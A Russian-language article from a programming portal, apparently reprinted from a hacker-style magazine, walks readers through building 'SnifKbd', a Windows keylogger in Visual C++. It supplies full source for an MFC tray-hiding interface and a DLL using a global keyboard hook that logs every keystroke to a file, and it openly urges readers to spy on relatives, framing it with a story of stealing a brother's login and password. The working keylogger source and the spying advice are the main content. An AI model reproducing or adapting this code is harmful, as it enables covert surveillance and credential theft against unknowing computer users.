« Поставить закладку » « Сделать стартовой »

« Форумы » « Блоги » « Статьи » « Новости » « Файлы » « Realcoding IRC » « Site map » « Поиск »


Главная Главная
Анонсы Анонсы
Форумы Форумы
Каталог Каталог
Поиск Поиск
Опросы Опросы
Книжный магазин Книжный магазин
Реклама на сайте
Публикации Публикации
Партнеры Партнеры
Карта Карта сайта
Рассылки Рассылки
RSS экспорт
Настройки Настройки
О нас пишут О нас пишут
Контакты Контакты
Гостевая книга Гостевая книга


ПнВтСрЧтПтСбВс
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31        
    Популярное
Определение дохода за месяц

Функция AccessResource

Функция TranmitCommChar

Формирование заголовка списка

Описание функций C (Си) / C++ - putenv

Графический счетчик на PHP

Ваша первая программа на C# (Csharp)

Комплексные числа в .NET

Работа с процессами в С/С++. Основные приемы

СТРУКТУРА ПРОГРАММ DELPHI




    Архив файлов



    Сообщества

    Документация

    Кто на сайте
Вы не зарегистрированы.
Имя:

Пароль:

Запомнить

Регистрация позволит Вам пользоваться дополнительными сервисами.
Сейчас на сайте:
Гостей: 164
Пользователей: 0

Статьи:: C/С++ :: Высший пилотаж - пишем клавиатурный shiffer



отправить ссылку другу версия для печати  Обсудить на форуме

Высший пилотаж - пишем клавиатурный shiffer



CJ Pusher (lapkarelief@mail.ru)

Зачем мне сниффер?

У тебя есть старший брат? У моего друга есть. Зато комп у них с братом - один на двоих. Когда мой друг был еще маленьким, он очень хотел полазать в Инете по account'у братца, когда тот уходил в институт. А вот логина с пассвордом так узнать и не мог. Так и остался малыш в детстве без халявной порнухи. С тех пор он сильно изменился - стал угрюмым, нелюдимым, часто плакал. А брат его сейчас работает программистом и до сих пор лазает в сетке. И тут случайно нашел наш герой в директории брата очень интересный софт - прогу, которая ведет log всех нажатых на клаве кнопок. Он решил запустить ее перед тем, как брат полез в Инет. Когда братец пошел спать, мой друг посмотрел этот log и нашел нужные логин и пароль. Затем он сам полез в сеть и в первую очередь стал искать, куда заходил его брат. После недолгого нажимания клавиш, записанных в log'е, он забрался на сайт садо-педофилов-извращенцев с цветными иллюстрациями и анимацией. Парень пришел в ужас - он никогда не ожидал от родного брата таких наклонностей... А неделю назад брата посадили за тройное изнасилование в извращенной форме. Вот так.

Чтобы таких случаев больше не повторялось, советую внимательно относиться к своим родственникам, работающим за твоим компом. Не стоит ли тебе обзавестись клавиатурным шпионом, который бы беспристрастно записывал бы все действия юзера на винт? Сейчас у тебя есть возможность самому написать такую прогу. Если у тебя уже стоит Visual C++, то можно начинать прямо сейчас, если нет, то пришло самое время его поставить.

Часть первая, или что мы хотим от нашей проги?

Очень полезно знать, что будет делать программка, перед тем как начать ее кодить. Неплохо бы представить ее интерфейс, окошки, возможности, поведение. При запуске наше творение будет выдавать окно с тремя кнопками: "Начать работу", "Выход", "Выбор Log файла". Там будет поле с именем отчетного файла и системное меню в левом верхнем углу с пунктом About, где будет висеть твое имя. Нравится? Если нажать кнопку начала работы, то окно свернется, клавиатурные сообщения будут перехватываться, и в tray (рядом с часами) появится иконка, щелкнув которую, можно опять вызвать главное окно, а дальше либо прекратить работу, либо, сменив log-файл, возобновить весь процесс. Чего не сможет наша прога? Во-первых, она не записывает нажатия клавиш в ДОС окне (зато прекрасно работает в full screen, что подтвердил тест на NFS 3). Во-вторых, кофе она тоже варить не умеет - придется самому. И бутылки открывать - самому.

Часть вторая, или с чего начать?

Как написать на С++ нашего шпиона? Здесь придется не только рассчитывать на wizard - немало придется написать ручками. Поэтому прога будет состоять из двух частей: DLL и EXE. В DLL будет содержаться код ядра, перехватывающий клаву. Этот кусок приложения - самый нетривиальный и, к сожалению, останется практически без объяснения. Его придется целиком переписать без визардов или взять готовый на сайте Х. EXE'шник будет управлять запуском слежения, и в нем будет весь интерфейс. Большую часть кода сгенерит App Wizard Visual C++, и немного кода надо будет дописать. Сделать это помогут дальнейшие объяснения и картинки. Сначала мы напишем интерфейс, а затем DLL.

Часть третья, или Let's do it baby (Сделай это, баба.)

Перейдем к делу. Запускай Visual C++ и готовься к прорыву в сознании - ты начинаешь делать реальные проги из воздуха. Заходи в меню File->New и во вкладке Projects выбери пункт MFC App Wizard (exe).

Задай название проги и место, где будут жить исходные файлы. Дальше вылезет окно, в котором надо поставить переключатель на строчку Dialog Based, то есть приложение на базе диалогового окна.

Этот вариант самый удобный для нас, потому что нам надо при запуске проги вести диалог с юзером. Нажми Next и продолжай. В следующем окне убери значок ActiveX Controls, чтобы не использовать элементы ActiveX.

Эти функции тебе вряд ли когда-нибудь понадобятся. В поле ввода задай заголовок главного окошка и жми Finish. Подтвердив намерение создать прогу нажатием OK, ты получишь каркас будущего клавиатурного шпиона. В первую очередь откроется окно с редактором диалогового окна. Сейчас надо нарисовать наш интерфейс. Сначала надо удалить надпись "TODO..." и кнопку OK. Надо просто щелкнуть на них и нажать Del. Затем добавить две кнопки, выбрав иконку с прямоугольником на панели инструментов и нажав мышкой в место, где будет находиться будущая кнопка. Назови одну "Начать", другую - "Выбор файла". Чтобы поменять название кнопки, щелкни на нее правой кнопкой и выбери в меню пункт Properties, затем в поле Caption введи название кнопки. Далее надо добавить в диалог поле, где будет отображаться путь к log-файлу. Для этого достаточно просто перетащить иконку "ab|" на панели Controls в желаемое место.

Снова вызови Properties, но уже для поля ввода, и во вкладке Styles пометь опцию Read-Only (поле только для чтения и не может изменяться юзером). Теперь надо связать поле ввода со строкой, в которой будет храниться отображаемое имя файла. Щелкни правой кнопкой на поле ввода и выбери пункт Class Wizard. Дальше во вкладке Member Variables (переменные члены :) ) нажми кнопку Add Variable... В поле имени, после m_ напиши какое-нибудь слово, например, FileName - получится m_FileName, и это будет имя строки, где будет храниться имя log-файла.

Теперь, когда все элементы интерфейса есть, можно задать события, на какие они будут реагировать. На события будут у нас реагировать только кнопки - на щелканье по ним мышкой. Чтобы добавить обработчики этого события, надо щелкнуть на желаемом элементе правой кнопкой мышки, выбрать пункт Events в появившемся окне, нажать кнопку Add and Edit. Подробности далее.

Часть четвертая, или дописываем интерфейс ручками

Что надо сделать, если юзер щелкнет кнопку "Начать"? Во-первых, проверить, задано ли имя файла отчета. Если нет, то ничего не делать. Во-вторых, спрятать окно и нарисовать в tray иконку. В-третьих, запустить ядро из DLL, которое ловит клавиатурный ввод. Добавь обработчик для кнопки "Начать", как сказано выше. Сразу, как нажмешь Add and Edit, появится редактор кода с курсором в месте, где находится сам обработчик. После строчки //TODO добавь такой код:

if (m_FileName.IsEmpty())

{

AfxMessageBox("You must choose a log file before further processing", MB_OK | MB_ICONSTOP, 0);

return;

}

Он проверяет, задано ли имя файла. m_FileName - это имя, которое ты задал, когда добавлял к полю ввода строку. Если имя не задано, то выводится окно сообщения. Сразу ниже добавь такие строки:

ShowWindow(SW_HIDE);

NOTIFYICONDATA nid;

nid.cbSize = sizeof(NOTIFYICONDATA);

nid.hWnd = GetSafeHwnd();

nid.uID = IDR_MAINFRAME;

nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP;

nid.uCallbackMessage = XWM_NOTIFYICON;

nid.hIcon = m_hIcon;

lstrcpyn(nid.szTip, "Invoke the SnifKbd main window", 30);

Shell_NotifyIcon(NIM_ADD, &nid);

Здесь прячется окно и рисуется иконка в tray со всплывающей подсказкой "Invoke the SnifKbd main window". Затем напиши:

hmod = LoadLibrary("hook.dll");

void (*pInit)(LPCTSTR);

pInit = (void (*)(LPCTSTR))GetProcAddress(hmod, "Init");

pInit(m_LogFile);

Непосредственно перед строками void Cxxxxxxx::Onxxxxxxx() и //TODO напиши:

HMODULE hmod;

Только что мы написали обработчик нажатия на кнопку "Начать". Теперь надо придумать, что будет делать прога при нажатии на кнопку "выбор файла". Во-первых, надо показать диалог сохранения файла под именем. Затем полученное имя скопировать в строку m_FileName и отобразить ее в поле ввода. Аналогично добавляем обработчик кнопки "выбор файла" и снизу от //TODO... пишем:

CFileDialog fdlgSave(FALSE, NULL, "keyb.log");

if (fdlgSave.DoModal() == IDOK)

{

SetDlgItemText(IDC_FILENAME, fdlgSave.GetPathName());

m_LogFile = fdlgSave.GetPathName();

}

Это весь код для второй кнопки.

Осталась не прописана одна вещь: ответ на щелчок юзера в иконке в tray'е. Надо поэтому написать обработчик и этого события. Так как он не связан с какими-либо элементами главного окна, добавлять его придется по-другому.

Сначала надо открыть вкладку ClassView в окне проекта в левой части экрана. Открыть дерево и щелкнуть правой кнопкой на элемент CxxxxxxDlg, но не CAboutDlg. В выползшем меню выбрать пункт Add Member Function. Появится окно, в котором в поле Function Type введи afx_msg LRESULT, в поле Function Declaration - OnNotifyIcon(WPARAM wParam, LPARAM lParam) (7.jpg). Нажми OK. Появится опять окно исходника. После //TODO... напиши код:

UINT uID = (UINT) wParam;

UINT uMsg = (UINT) lParam;

if (uMsg == WM_LBUTTONDOWN)

if (uID == IDR_MAINFRAME)

{

ShowWindow(SW_SHOW);

SetFocus();

NOTIFYICONDATA nid;

nid.cbSize = sizeof(NOTIFYICONDATA);

nid.hWnd = GetSafeHwnd();

nid.uID = IDR_MAINFRAME;

Shell_NotifyIcon(NIM_DELETE, &nid);

void (*pRelease)();

pRelease = (void (*)())GetProcAddress(hmod, "Release");

pRelease();

}

return 1;

Этот участок проги выводит главное окно на экран (6-я, 7-я строчки), убирает значок из tray (строчки 8-12) и отменяет слежение за клавой (строчки 13-15). Чтобы этот обработчик работал, найди в открытом файле строчку BEGIN_MESSAGE_MAP(CxxxxxDlg, CDialog), но не BEGIN_MESSAGE_MAP(CAboutDlg, CDialog), и после нее напиши:

ON_MESSAGE(XWM_NOTIFYICON, OnNotifyIcon)

Теперь EXE'ник полностью готов. Осталось только изменить About Box и перерисовать стандартную иконку. Для первого надо во вкладке Resource, окно проекта в ветке Dialog дважды щелкнуть элемент IDD_ABOUTBOX. В появившемся окне можно добавить текст со своим именем и копирайтом. Эта часть работы для самых скромных.

Компиль прогу (F7) и переходи к следующей части.

 

Часть пятая, или делаем DLL-часть проги

Чтобы сварганить DLL'ник, надо создать новый проект. В File->New надо выбрать вкладку Projects и тип проекта Win32 Dynamic-Link Library (10.jpg). Далее назвать проект "Hook", так как предполагается, что на выходе будет файл hook.dll. Нажимай OK и в окне визарда выбери A simple DLL project (11.jpg). Когда проект сгенерится, понадобится изменить файлы hook.cpp и stdafx.h. Вот как они должны выглядеть.

Stdafx.h:

// stdafx.h : include file for standard system include files,

// or project specific include files that are used frequently, but

// are changed infrequently

//

#if !defined(AFX_STDAFX_H__38CA5891_6485_11D4_B8C5_F43705C10A00__INCLUDED_)

#define AFX_STDAFX_H__38CA5891_6485_11D4_B8C5_F43705C10A00__INCLUDED_

#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

 

// Insert your headers here

#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers

#include <windows.h>

#include <cstdio> // Эти три

#include <cstring> // строки надо

#include <ctime> // добавить!

// TODO: reference additional headers your program requires here

//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_STDAFX_H__38CA5891_6485_11D4_B8C5_F43705C10A00__INCLUDED_)

Hook.cpp:

// hook.cpp : Defines the entry point for the DLL application.

//

#include "stdafx.h"

HANDLE g_hMod;

TCHAR szLogName[256];

FILE* pFile;

HHOOK hhookKbd;

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )

{

g_hMod = hModule;

return TRUE;

}

extern "C" {

__declspec(dllexport) void Release();

__declspec(dllexport) LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam);

__declspec(dllexport) void Init(LPCTSTR szFile);

};

void Release()

{

UnhookWindowsHookEx(hhookKbd);

}

LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)

{

if (nCode == HC_ACTION && !(lParam & 0x80000000))

{

if (!(*szLogName))

{

LPTSTR lpszPath = new TCHAR[256];

GetModuleFileName((HINSTANCE) g_hMod, lpszPath, 256);

strcpy(strrchr(lpszPath, '\') + 1, "logpath.txt");

FILE* pf = fopen(lpszPath, "r");

fscanf(pf, "%s", szLogName);

fclose(pf);

delete[] lpszPath;

}

pFile = fopen(szLogName, "a+");

time_t timer;

time(&timer);

char* p = ctime(&timer);

p[strlen(p) - 1] = 0;

TCHAR szKeyName[20];

GetKeyNameText(lParam, szKeyName, 19);

for (int i = 0; i < (lParam & 0x0000FFFF); i++)

fprintf(pFile, "%s - key: %sn", p, szKeyName);

fclose(pFile);

}

return CallNextHookEx(hhookKbd, nCode, wParam, lParam);

}

void Init(LPCTSTR szFile)

{

hhookKbd = SetWindowsHookEx(WH_KEYBOARD, HookProc, (HINSTANCE) g_hMod, 0);

LPTSTR lpszPath = new TCHAR[256];

GetModuleFileName((HINSTANCE) g_hMod, lpszPath, 256);

strcpy(strrchr(lpszPath, '\') + 1, "logpath.txt");

FILE* pf = fopen(lpszPath, "w");

fprintf(pf, "%sn", szFile);

fclose(pf);

delete[] lpszPath;

}

Сам код, который ведет log нажатых клавиш находится в подпрограмме LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam). Его можно изменить по твоему желанию, например - чтоб он печатал, из какой проги нажата клавиша. Узнав больше о виндах и кодинге, можно очень серьезно наворотить этот код. Сохрани все и скомпиль DLL'ку (F7). Готовый файл hook.dll надо переписать в один каталог с EXE'шником, и теперь прогой можно пользоваться.

 

Часть шестая, или если ничего не получается

Хотя эта программа и несложная, она все же не для новичка. Возможно, что прога сразу не скомпилится или не заработает, а может просто повесит машину. Подожди, не беги за бутылкой. Посмотри, правильно ли ты все сделал и переписал. Помни, что заглавные и прописные буквы тоже различаются. Если ничего не помогает совсем, то можно залить себе образец проги на сайте Х. Он называется SnifKbd.

Окончание, или если все получилось :)

Теперь в твоей коллекции очень полезный софт под мастдай, причем собственного приготовления. Если много вещей тебе остались непонятными, но заинтересовали тебя, то пора изучать и C++, и кодинг под Windows. Есть масса книжек по этому поводу и куча инфы в Инете. Очень пригодился бы тебе диск с Microsoft Developer Network (MSDN), где есть абсолютно вся справка по любой теме, что взбредет в голову. Без него не было бы и этой статьи. Может уже через полгода ты начнешь делать такие финты на компе, какие самому Б.Г. не снились. А пока - пока, удачно тебе узнать, что делают твои родственники за машиной.

Советуем внимательно относиться к своим родственникам, работающим за твоим компом. Не стоит ли тебе обзавестись клавиатурным шпионом, который бы беспристрастно записывал бы все действия юзера на винт? Сейчас у тебя есть возможность самому написать такую прогу. Если у тебя уже стоит Visual C++, то можно начинать прямо сейчас, если нет, то пришло самое время его поставить.




Рубрика: C/С++




Вышел MySQL 5.1.30, первый стабильный рели....

MySQL

После публикации 29 тестовых версий анонсирован первый стабильный релиз MySQL 5.1, пригодный для промышленной эксплуатации и обеспечивающий увеличение производительности для "тяжелых" SQL запросов, по сравнению с MySQL 5.0, примерно на 15-20%. Главные новшества появившиеся в MySQL 5.1:


Подробнее... | Рубрика: MySQL | Добавлено: 28.11.2008

Тестирование параллельных программ.

Тестирование

Тестирование параллельного программного обеспечения представляет собой более сложную задачу по сравнению с тестированием последовательной программы. Программист должен знать о подводных камнях при тестировании параллельного кода, имеющихся методологиях и инструментарии.


Подробнее... | Рубрика: Тестирование | Добавлено: 28.11.2008

Архитектура AMD64 (EM64T).

Архитектура AMD

Аннотация. В статье кратко рассматривается архитектура AMD64 компании AMD и ее реализация EM64T компании Intel. Описаны особенности архитектуры, ее возможности, достоинства и недостатки.


Подробнее... | Рубрика: Архитектура AMD | Добавлено: 27.11.2008

Остальные статьи:

Платформа 2009. Определяя будущее
Windows Vista Bridge Sample Library - упра...
Оптимизация 64-битных программ
Подгрузка через AJAX HTML-кода, содержащег...
Обзор нового релиза самой мощной Ajax библ...
Firebug 1.3 и 1.4 alpha — что нового и инт...
Релиз Microsoft Silverlight 2.0. Что новог...
XML документация в C#
Курсоры в MySQL 5
Microsoft опубликовала подробности о сесси...
Microsoft делится подробностями о том, что...
Тестируем новый javascript от нового брауз...
MySQL Query Cache
Использование провайдеров компиляции в As...
Чего мы ждем от C# 4.0
Delphi 2009 и C++Builder 2009
Джоэл Спольски и Джеф Этвуд запустили новы...
Поиск кода Google /* что нового? */
10 jQuery скриптов для улучшения интерфейс...
Генераторы отчетов FastReport 4 и QuickRep...


Цитата дня (все,добавить):

Портал фрилансеров

работа на дому


    Рубрикатор

Программирование

C/С++
Обучение
Windows API
XAML
Моделирование
Паттерны
Visual Basic 7 .NET
WxWidgets
Функции WinApi
Функции С++
Разработка под Mac OS
Eiffel
Visual Studio 2008
UI дизайн
Алгоритмы
Конкурсные статьи
Turbo Pascal
Visual Studio
CASE-средства
Visual Studio 2005
Без VCL
Delphi
Тех. документация
Тестирование
Software Testing
ООП
TCP/IP
Google Android
Windows Installer
.NET Framework
Драйвера
C# C Sharp
Справка
Проектирование
Информ. системы
Visual Basic
Assembler
Оптимизация кода
Gtk+
Компоненты
Реинжиниринг
Управление проектами
Extreeme programming
Lotus Notes
Алгебраическое проектирование


Интернет технологии

PHP
Perl
ASP
WAP
Cookies
SSI
CGI
Web Servers
VB Script
DNS
CSS
XML
Html
Java Script
Java2ME
Firewall
Flash
.htaccess
Apache
VRML
Протоколы
Поисковые системы
Технология JAVA
Учебник по PHP
Учебник по JavaScript
Учебник по XML
Java Q&A
AJAX
DHTML
XHTML
Dreamweaver
Web 2.0
Python
Вебмастеру
Cisco
Ruby on Rails
Silverlight

Базы данных

Access
InterBase
MySQL
Oracle
ADO .NET
Основы SQL
Учебник по Access 2002
MS
Microsoft FoxPro
Доступ к данным
XML в MS SQL Server 2000
ODBC и MyODBC
Обучение
Caché
DB2
PostgresSQL
Sybase
Теория
Хранилища данных
Безопасность
Реляционные данные
MySQL и mSQL

Остальное:

Разное
Обзоры книг
Безопасность
Графика и дизайн
Юмор
Linux
Фракталы
Microsoft Axapta
Многоядерность
Сети
Microsoft Office
Работа
MS-DOS
Криптография
Графика и игроделание
Новости SDK
Системы защиты
Учебник по AutoCad
CVS
Windows XP
Windows Server 2003
Windows Vista
Windows 7
Мероприятия